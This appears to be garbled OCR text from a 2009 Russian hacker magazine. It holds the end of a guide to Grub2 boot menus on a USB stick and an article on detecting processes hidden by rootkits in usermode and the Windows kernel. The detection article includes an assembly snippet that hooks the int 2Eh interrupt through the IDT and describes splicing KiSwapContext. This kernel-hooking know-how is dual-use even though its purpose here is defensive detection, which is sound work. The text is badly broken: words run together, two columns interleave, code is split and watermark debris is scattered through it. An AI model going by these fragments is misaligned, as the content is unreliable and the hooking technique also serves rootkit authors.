$ sudo nano /media/Ubuntu/boot/grub/grub. cfg

menuentry «System Rescue CD» { set root=(hd0,5)

linux /isolinux/rescuecd initrd /isolinux/initram.igz

}

# Альтернативное ядро (более старая версия) — на случай, если не загрузится основное

menuentry "System Rescue CD altker"

{

set root=(hd0,5)

linux /isolinux/altker32 initrd /isolinux/initram.igz

}

System Rescue CD содержиттакже64-битные

084

XÀÊÅÐ 11 /131/ 09

 

 

 

 

hang

e

 

 

 

 

 

 

 

C

 

E

 

 

 

 

X

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

to

 

 

 

 

 

w Click

 

 

 

 

 

m

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

o

 

 

.

 

 

 

 

 

.c

 

 

 

p

 

 

 

 

g

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

-xcha

 

 

 

 

МенюGrub2

ЗагрузкаUbuntu сфлешки

ядра, ноонимогутпригодитьсялишьводномслучае— принеобходимостисделатьchroot в64-битнуюсистему, поэтомунет смыславыноситьихвменюзагрузчика. Кроместандартных параметров(типаacpi=off), ядроSystem Rescue CD можетпри загрузкеприниматьразличныеспецифическиепараметры, самыеполезныеизкоторых:

setkmap=uk — призагрузкенеспрашиваетраскладку, устанавливаетuk.

docache — загружаетвсюсистемувОЗУ(потребуетсяне менее300 Мб).

forcevesa — использоватьвидеодрайверvesa (полезнопри проблемахсвидеорежимом).

dostartx — запускатьиксыпризагрузке.

ВкомплектесSystem Rescue CD идеттакжеворохзагрузочныхдискет: FreeDOS, mhdd, aida (прогадляполучения информацииожелезе), gag (загрузчик), ranish (менеджер разделов, аналогfdisk), dban (утилитадляуничтожения данныхсвинтов), memtest. ИзвсехдискетмнемогутпригодитьсятолькоFreeDOS иmhdd. Grub2 сможетзагрузитьэти дискетыприпомощиmemdisk (изсоставапакетаsyslinux). Яскопировалфайлыfreedos.img иmhdd.img, атакжефайл

/usr/lib/syslinux/memdisk вкаталог/bootdisk напервом разделе. Вgrub.cfg добавил:

$ sudo nano /media/Ubuntu/boot/grub/grub.cfg

menuentry «FreeDOS» { set root=(hd0,1)

linux16 /bootdisk/memdisk initrd16 /bootdisk/freedos.img

}

menuentry «MHDD» { set root=(hd0,1)

linux16 /bootdisk/memdisk initrd16 /bootdisk/mhdd.img

}

КРАСОТАСПАСЕТМИР

Нувот, всегрузитсяиработает. Ночерноеменюсбелымибук-

XÀÊÅÐ 11 /131/ 09

 

 

 

 

hang

e

 

 

 

 

 

 

 

C

 

E

 

 

 

 

X

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

to

 

 

 

 

 

w Click

 

 

 

 

 

m

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

o

 

 

.

 

 

 

 

 

.c

 

 

 

p

 

 

 

 

g

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

-x cha

 

 

 

 

DrWeb собственнойперсоной

вами— слишкомобыденно, хочетсядобавитькрасивостей. Ксожалению, модульgfxmenu (grub.gibibit.com) ещене включенвосновнуюветкуGrub2 (из-занедостаточнойста- бильности), поэтомусоздатьполностьюкастомизированное менюнеполучится. Нокое-чтосделатьвсе-такиможно. Grub2 имеетдварежимаотображенияменю: console (по умолчанию) иgfxterm.

Последнийпозволяетпоставитьфоновоеизображениеи использоватьпроизвольныйшрифт(прииспользовании юникодногошрифтапунктыменюмогутбытьнарусском), правда, засчетнезначительногоувеличениявремени загрузки. Длявключенияgfxterm надовgrub.cfg добавить:

$ sudo nano /media/Ubuntu/boot/grub/grub.cfg

#Загружаем модули insmod gfxterm insmod vbe

insmod font insmod png

#Указываем расположение шрифта loadfont (hd0,3)/boot/unicode.pf2 set gfxmode=640x480

#Переключаем режим отображения в gfxterm terminal_output gfxterm

#Указываем расположение фонового изображения background_image (hd0,3)/boot/x.png

Шрифт можно скопировать отсюда /usr/share/grub/ unicode.pf2 (или /usr/share/grub/ascii.pf2, если не нужен юникод) или сконвертировать из любого имеющегося в формате bdf (с помощью grub-mkfont).

Фоновое изображение можно либо выбрать из пакета grub2-splashimages (будет располагаться в /usr/share/ images/grub), либо сконвертировать самому. Grub2 понимает изображения в форматах png, jpeg и tga (необходимо загрузить соответствующий модуль для каждого формата) и разрешении 640x480. За несколько минут в Gimp’е я набросал простенький splashimage в стиле z.

Цветнадписейиэлементовменюзадаетсяспомощью командcolor_normal иcolor_highlight вформатеforeground/ background. Списокдоступныхцветовможнопосмотретьна страничкеwww.gnu.org/software/grub/manual/html_node/ color.html.

DVD

dvd

Наприлагаемом кжурналудискеты найдешьgrub.cfg,

splashimage, DrWeb LiveCD иSystem Rescue CD.

HTTP://WWW

links

Дополнительная информацияпо установкеLinux нафлешку: www. pendrivelinux.com.

Домашняястрани-

цаGrub2: www.gnu. org/software/grub/ grub-2.en.html.

Статья, посвящен-

наяMFS: old.softerra. ru/freeos/16111/ page1.html.

INFO

info

• Наслучайотсутствияуцелевогокомпьютеравозможности загрузкисUSB можно сделатьUSB Boot CD

дляконкретногодистрибутива(сзагрузчиком, ядромиinitrd). Подробностиздесь: www.pendrivelinux. com/category/usb- boot-cds.

REBOOT

Теперьточновсе! Можноперезагружатьсяинаслаждаться результатамипроделаннойработы.

P.S. Необязательноостанавливатьсяименнонаописанных дистрибутивах— поаналогииможнозагружатьлюбой линуксовыйLiveCD. z

085

 

 

 

 

hang

e

 

 

 

 

 

 

 

 

 

 

C

 

E

 

 

 

 

 

 

 

X

 

 

 

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

 

 

F

 

 

 

 

 

 

t

 

 

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

 

 

 

r

 

 

P

 

 

 

 

 

NOW!

 

o

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

w Click

to

BUY

 

 

 

 

 

 

CODING

 

 

 

 

 

 

 

m

АЛЕКСАНДР ЭККЕРТ ALEKSANDR-EHKKERT@RAMBLER.RU

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

o

 

 

 

 

.

 

 

 

 

 

.c

 

 

 

 

 

p

 

 

 

 

g

 

 

 

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

 

 

-xcha

 

 

 

 

 

 

 

ring0

ring0

 

 

 

 

hang

e

 

 

 

 

 

 

 

C

 

E

 

 

 

 

X

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

to

 

 

 

 

 

w Click

 

 

 

 

 

m

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

o

 

 

.

 

 

 

 

 

.c

 

 

 

p

 

 

 

 

g

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

-x cha

 

 

 

 

usermode

usermode

ПРОЯВИТЕЛЬ

ДЛЯТРОЯНОПИСАТЕЛЕЙ

Детектируемскрытыепроцессы вusermodeиring0

ИТАК, ДРУГ МОЙ, СЕГОДНЯ Я ОСОБЕННО СУРОВ И К ДОЛГИМ ИНТРОДУКЦИЯМ НЕ СКЛОНЕН. ПОЭТОМУ БУДУ КРАТОК: РЕЧЬ ПОЙДЕТ О ТОМ, КАК, ИМЕЯ ОТНОСИТЕЛЬНО ПРЯМЫЕ РУКИ, ГОЛОВУ НА ПЛЕЧАХ И УМЕНИЕ ПОЛЬЗОВАТЬСЯ ДИЗЗАССЕМБЛЕРОМ ДЛИН ИНСТРУКЦИЙ, МОЖНО ПОЧТИ СО 100% ВЕРОЯТНОСТЬЮ ВЫЯВЛЯТЬ И БРАТЬ ПОД

КОНТРОЛЬ ПРОЦЕССЫ, КОТОРЫЕ ЗЛЫЕ НЕДОБРОЖЕЛАТЕЛИ ПЫТАЮТСЯ СКРЫТНО ЗАПУСТИТЬ НА ТВОЕМ КОМПЬЮТЕРЕ.

ПЕСОЧНИЦА

Немногоотом, счемпридетсяиметьдело. Почтивсеметодысокрытияпроцессовот таскменеджеровиразличныхпросмотрщиковфактическиоснованынаперехвате

NtQuerySystemInformation (каквядре, так ивring3), атакжеисключенииструктуры EPROCESS издвунаправленногоспискав

ядре. Дальшефантазияпрогеровпочему-то неидет. Этосвязаносоднойконструктивной особенностьюсуществованияпроцессовв ОСWindows — можно, кпримеру, подсуетитьсяисоспискамипроцессов, истаблицами хендлов, ноединственное, чтоделатькатегорическинельзя— исключатьпроцессизсписковпланировщикаWindows. Впротивном

случаепроцесснеполучитпроцессорного временииегокодпростонебудетвыполнен. Именнопоэтойпричинесоздатьполностью невидимыйпроцессвОСWindows нельзя, авирусыитрояны, существующиеввиде

отдельногопроцесса— вещьнеумная, характеризующаясвоегосоздателякакнеумелого программиста. Вцелом, жизнедеятельность

086

XÀÊÅÐ 11 /131/ 09

 

 

 

 

hang

e

 

 

 

 

 

 

 

C

 

E

 

 

 

 

X

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

to

 

 

 

 

 

w Click

 

 

 

 

 

m

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

o

 

 

.

 

 

 

 

 

.c

 

 

 

p

 

 

 

 

g

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

-xcha

 

 

 

 

 

 

 

 

hang

e

 

 

 

 

 

 

 

C

 

E

 

 

 

 

X

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

to

 

 

 

 

 

w Click

 

 

 

 

 

m

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

o

 

 

.

 

 

 

 

 

.c

 

 

 

p

 

 

 

 

g

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

-x cha

 

 

 

 

 

процессавWindows — чрезвычайношумнаяштука, посколькупроцесс

 

 

 

ExFreePool(pointer);

 

 

оставляетследыпрактическивезде, начинаяототкрытыххендлов

ulSize = ulSize * 2;

 

 

изаканчиваяпереключениемконтекстапотока. Исоответственно,

}

 

 

скрытыйпроцессможнопопытатьсяобнаружитькаквusermode, таки

 

 

 

 

 

 

вядреоперационнойсистемы.

Теперьпредположим, чтокулхацкерсмогскрытьоткрытыепро-

 

СПОСОБЫ ДЛЯ USERMODE

цессомхендлы. Небеда! Находясьвusermode, можноперечислить

 

списококон, открытыхпроцессом. Да-да, обокнах, которыесозда-

 

ПолучитьчестнымпутемсписокпроцессоввWindows очень

ютсявсегда, почтиниктоневспоминает, поэтомувызовфункции

 

легко; дляэтогосуществуютспециальныефункции, такиекак

GetWindowThreadProcessId тебевруки! Едемдальше.

 

CreateToolhelp32Snapshot иNtQuerySystemInformation — ихвызов

Находясьвusermode, полезновспомнитьотакомоченьинтересном

 

вернетнамсписокпроцессоввсистеме. Поэтомудляначаламожно

изагадочномсистемномпроцессе, какcsrss.exe. Онявляетсячастью

 

 

 

 

 

 

простосравнитьполученныеимирезультаты. Однакоспособкрайне

пользовательскойWin32-подсистемы. СSRSS — сокращениеот

 

ненадежен, посколькутроянописателивпервуюочередьперехва-

«client/server run-time subsystem» (клиент/сервернаяподсистема)

 

тываютименноэтифункции. Чтожеделать, еслинужнообойтись

— отвечаетзаконсольныеприложения, создание/удалениепотоков

 

толькоusermod’нымиспособами? Иногдадостаточновспомнить, что

и16-битнуювиртуальнуюсредуMS-DOS. Этоофициальноеопреде-

 

открытыйпроцессобладаетспискомоткрытыхимхендлов, поэтому

лениеотMicrosoft. Отсебядобавлю— присозданииновогопроцесса

 

ихперечислениеисравнениес«легальным» спискомпроцессов

вядреWindows подсистемаобязанауведомитьcsrss.exe ознамена-

 

поможетвыявитьразницу. Перечислениеоткрытыххендловпро-

тельномсобытиисистемнымвызовомCsrClientCallServer. Еслиэтого

 

цессовосуществляетсявызовомфункцииNtQuerySystemInformation

непроизойдет, вновьсозданныйпроцессбудетработатьнесовсем

 

c параметромSystemHandleInformation. Вкачествелирического

адекватноивконцеконцоввылетитсошибкой. Такимобразом, сsrss.

 

отступленияоттемы, хотелосьбызаметить, чтосистемнаяфункция

exe ведетсвоеобразныйучетпроцессовипотоков, иэтуособенность

 

NtQuerySystemInformation — функциянастолькоуниверсальная, что

можноиспользоватьпридетектескрытыхпроцессов.

 

используетсяпрактическиповсеместновцеляхполучениясамой

Говорявсамыхобщихчертах— нужнобудетоткрытьпроцессcsrss.

 

разнообразнойсистемнойинформации— отспискапроцессовдоско-

exe вызовомOpenProcess, послечегопройтисьдизассембле-

 

ростипроцессора. Этихвариантов— болеесемидесяти, всеонисо-

ромдлининструкцийпофункциямCsrLockProcessByClientId и

 

держатсявнедокументированнойструктуреSYSTEM_INFORMATION_

CsrLockThreadByClientId дляполученияадресанедокументиро-

 

CLASS. Приееиспользованиинадообязательнопомнитьотом, что

ваннойструктурыCSR_PROCESS, котораявсвоюочередьсодержит

 

тыникогдазаранеенезнаешьразмерданных, которыетебевернет

списокпроцессов, зарегистрированныхвcsrss.exe. Сразускажу,

 

NtQuerySystemInformation, поэтомузачастуюеевызовобламывается

— способсложныйидовольногромоздкий, новесьмаэффективный.

 

ионавозвращаетSTATUS_INFO_LENGTH_MISMATCH. Вэтомслучае

Примерреализацииищинадиске.

 

простоувеличьразмервыходногобуферав2 раза.

СПОСОБЫ ДЛЯ ПРОДВИНУТЫХ

 

 

 

 

 

 

 

 

 

ПравильноеиспользованиеZwQuerySystemInformation

 

Итак, леземвядро. Ядумаю, понятно, длячего— наэтомуровненам

 

pointer = ExAllocatePool(PagedPool, ulSize);

 

никтоникакихзапретовпоставитьнесможет, посколькувсеобладают

 

memset(pointer, 0, ulSize);

 

равнымиправами. Вring0 выигрываеттот, укогобольшеопытаитот, кто

 

 

 

лучшезнаетпринципыфункционированияядра.

 

if (pointer)

 

Однимизпопулярныхметодовполученияспискапроцессоввядреоста-

 

ntstatus = NtQuerySystemInformation

 

етсяпроходподвухсвязномуспискуструктурEPROCESS. Амыбудемза-

 

(SystemInfoClass, pointer, ulSize, NULL);

 

ранееисходитьизтого, чтозлойхакерисключилнужныйемуEPROCEES

 

 

 

издвунаправленногоспискапутемподменыуказателей(обэтомспособе

 

if (ntstatus == STATUS_INFO_LENGTH_MISMATCH)

 

читайвмоейстатьевмайскомzзаэтотгод).

 

{

 

ПоговоримоспискахпланировщикаWindows, которыесодержатпотоки,

 

 

 

 

 

XÀÊÅÐ 11 /131/ 09

087

 

 

 

 

hang

e

 

 

 

 

 

 

 

C

 

E

 

 

 

 

X

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

to

 

 

 

 

 

w Click

 

 

 

 

 

m

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

o

 

 

.

 

 

 

 

 

.c

 

 

 

p

 

 

 

 

g

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

-xcha

 

 

 

 

CODING

 

 

 

 

hang

e

 

 

 

 

 

 

 

C

 

E

 

 

 

 

X

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

to

 

 

 

 

 

w Click

 

 

 

 

 

m

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

o

 

 

.

 

 

 

 

 

.c

 

 

 

p

 

 

 

 

g

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

-x cha

 

 

 

 

 

 

mov ebx, idtable.Base

 

 

xchg [ebx + 0x170], si

 

 

rol esi, 0x10

 

 

xchg [ebx + 0x176], si

 

 

ror esi, 0x10

 

 

mov point_to_old_handler, esi

 

 

sti

 

 

popad

 

 

}

 

 

}

 

 

Уметодаимеетсянебольшойнедостаток— текущийспи-

 

 

сокпроцессовпостоянноизменяетсяи, еслиуказатель

 

 

наEPROCESS (ищеммыименноего, незабывай), будет

 

 

удален, товлучшемслучаедрайвервылетитвBSOD. Об

 

 

этомнадопомнить. Какэтореализоватьнапрактике? Ис-

 

 

пользоватьcallback-функциюPsSetCreateProcessNotifyR

 

 

outine, котораяустановитнотификатор, информирующий

 

 

насосозданииилиудалениипроцесса. Ещеоднимна-

РЕАЛИЗАЦИЯПЕРЕХВАТАSWAPCONTEXT

дежнымспособомвыявленияскрытыхпроцессовможет

служитьперехватSwapContext (перехватпереключения

 

 

 

 

потоков). ТакназываемаяпсевдомногозадачностьвОС

 

подлежащиеисполнению. Главноенеудобствометодав

Windows реализуетсятакимобразом, чточерезопреде-

 

том, чтоадресасписковпотоковпланировщикаменяются

ленныепромежуткивремени, равные10-20 мс(называе-

 

отбилдакбилду, чтоприходитсяучитыватьвкоде. Напри-

мыеквантомвремени), таймерОСгенерируетпрерыва-

 

мер, вWin2K ихтри: KiWaitInListHead, KiWaitOutListHead,

ние, котороевсвоюочередьвызываетпланировщик. И

 

KiDispatcherReadyListHead. Всеонидвусвязные. Первые

есликвантвремени, связанныйстекущимпотоком, истек,

 

дваспискасодержатпотоки, ожидающиенаступления

топроисходитпереключениепотоков. Переключение

 

какого-либособытия, атретийсодержитпотоки, готовые

потоковвыполняетсянеэкспортируемойфункциейядра

 

кисполнению. Подобныйспособобнаруженияскры-

KiSwapContext. Этафункциявызываетсяпланировщиком

 

тыхпроцессовиспользуетсявKlister’e отзнаменитой

приистеченииквантавременипотокалибоприожидании

 

потрошительницыWindows ДжоаныРутковской(http://

потокомкакого-либособытия. Впервомслучаефункция

 

invisiblethings.org/tools/klister-0.4.zip). Однакоэтотспо-

вызываетсяизKiDispatchInterrupt, авовтором— изнеэк-

 

собработаеттолькоподWin2K из-зажесткопрописанных

спортируемойфункции, котораявсвоюочередьвызыва-

 

адресовсписковпотоков. Именноадресасписковидела-

етсяизKeWaitForSingleObject, KeDelayExecutionThread и

 

ютспособнемногонеудобнымиз-заопределеннойраз-

KeWaitForMultipleObjects.

INFO

ностивустройствеядравWin2K иWinXP (планировщикв

Все, чтонужно— этонайтиадресKiSwapContext вядре

WinXP имееттолькодваспискапотоков: KiWaitListHead и

сиспользованиемдиззассемблерадлининструкций!

 

KiDispatcherReadyListHead), таккакэтонадобудетучиты-

Этуфункциюможнолегконайтивлюбойверсииядрапо

 

ватьвпроцессепрограммирования.

сигнатуре«0F 20 C5» (mov ebp,cr0).

info

Весьманадежнымспособомобнаруженияскрытыхпро-

НамоментвызоваKiSwapContext регистрEDI указывает

цессовявляетсяперехватсистемныхвызовов. Воснове

наструктуруETHREAD-потока, которыйостанавливается,

 

ОсобенностьWindows

методалежитаксиома, чтовсепроцессы(точнее, их

арегистрESI — наструктуруETHREAD-потока, который

XP втом, чтоперехват

программнаялогика) обращаютсякядрусистемычерез

получаетуправление. Вданнойситуациисплайсинг

системныхвызовов

интерфейссистемныхвызовов. Идеяметодазаключа-

функции— самоето. Дляэтогозапишемвначалофункции

долженпроизво-

етсявтом, чтобыперехватитьобращениякинтерфейсу

KiSwapContext инструкциюJMP нанашуhook-функцию.

дитьсякакчерез

системныхвызовов, авобработчикеполучатьуказатель

Внеймыобрабатываемвходныепараметрытак, какнам

sysenter, такичерез

наEPROCESS текущегопроцесса.

нужно, ипередаемуправлениеоригинальнойфункции

int 2Eh, поэтомупереВwin2k длясистемноговызоваиспользуетсяпрерыва-

черезTrampoline. Чтобыневосстанавливатьначальные

хватыватьнужнооба

ние2Eh, авWin XP — sysenter. Приэтомизсоображений

байтыоригинальнойфункции(атопотомпридетсяискать

обработчика.

совместимостипрерывание2Eh такжеможетиспользо-

момент, какопятьвначалезаписатьJMP), начальныеин-

 

ватьсявWin XP. Все, чтодляэтогонужно— осуществить

струкциикопируютсявспециальновыделеннуюобласть

 

перехватданногопрерываниявтаблицепрерываний

памяти, ккоторымдобавляетсяJMP напродолжение

 

IDT. Коднесложный, примерперехватаint2e иsysenter,

функции(Trampoline function).

DVD

реализованныйнаС, ищинадиске.

Коддрайвера, реализующийперехватKiSwapContext,

 

ищинадиске.

 

ПЕРЕХВАТПРЕРЫВАНИЯ2EH

ХЕНДЛЫ

dvd

void HookInt2Eh()

{

Хендлыоткрытыхфайлов— удивительнаявещь, окоторой

Надискетынайдешь

IDTABLE idtable;

доморощенныетроянописателичастозабывают. Полу-

программнуюреали-

__asm

читьсписокоткрытыххендловможнокаквusermod’ном

зациюрассматривае-

{

режиме, такинепосредственновядреWindows. Для

мыхспособовдетекта

pushad

этого, какговорилосьвыше, используетсяужеизвестная

скрытыхпроцессов,

cli

намсистемнаяфункцияZwQuerySystemInformation с

книжки-раскраски

sidt [idtable]

переданнымейпараметромSystemHandleInformation. К

ируткит-хантеры.

mov esi, point_to_new_handler

примеру, этотнехитрыйспособбудетвыявлятьпроцессы,

088

XÀÊÅÐ 11 /131/ 09

Соседние файлы в папке журнал хакер